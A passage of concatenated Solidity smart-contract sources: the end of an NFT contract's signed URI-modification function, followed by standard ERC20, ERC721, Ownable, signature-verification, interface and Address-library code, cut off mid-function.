uris"); bytes32 modifyCheckHash = getModifyCheckHash(_modifyCheck); (bytes32 r, bytes32 s, uint8 v) = splitSignature(_modifyCheck.signature); require(isSigned(mintingAuthority, modifyCheckHash, v, r, s), "Modify check is not valid"); for (uint i = 0; i < _modifyCheck.tokenIds.length; ++i) { bytes32 contentHash = keccak256(abi.encodePacked(_modifyCheck.uris[i])); require(contentHashToTokenId[contentHash] == 0, "Modify check has already been used"); require(_exists(_modifyCheck.tokenIds[i]), "Tokenid does not exist"); tokenIdToUri[_modifyCheck.tokenIds[i]] = _modifyCheck.uris[i]; contentHashToTokenId[contentHash] = _modifyCheck.tokenIds[i]; emit MintCheckUsed(_modifyCheck.tokenIds[i], modifyCheckHash); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interface/IERC20.sol"; import "./interface/IERC20Metadata.sol"; import "./utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interface/IERC721.sol"; import "./interface/IERC721Receiver.sol"; import "./interface/IERC721Metadata.sol"; import "./utils/Address.sol"; import "./utils/Context.sol"; import "./utils/Strings.sol"; import "./ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Signature { function splitSignature(bytes memory sig) public pure returns (bytes32 r, bytes32 s, uint8 v) { require(sig.length == 65, "invalid signature length"); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; } function isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) { return _isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s); } function _isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) { return ecrecover(messageHash, v, r, s) == _address; } function _isSignedPrefixed(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; return _isSigned(_address, keccak256(abi.encodePacked(prefix, messageHash)), v, r, s); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { 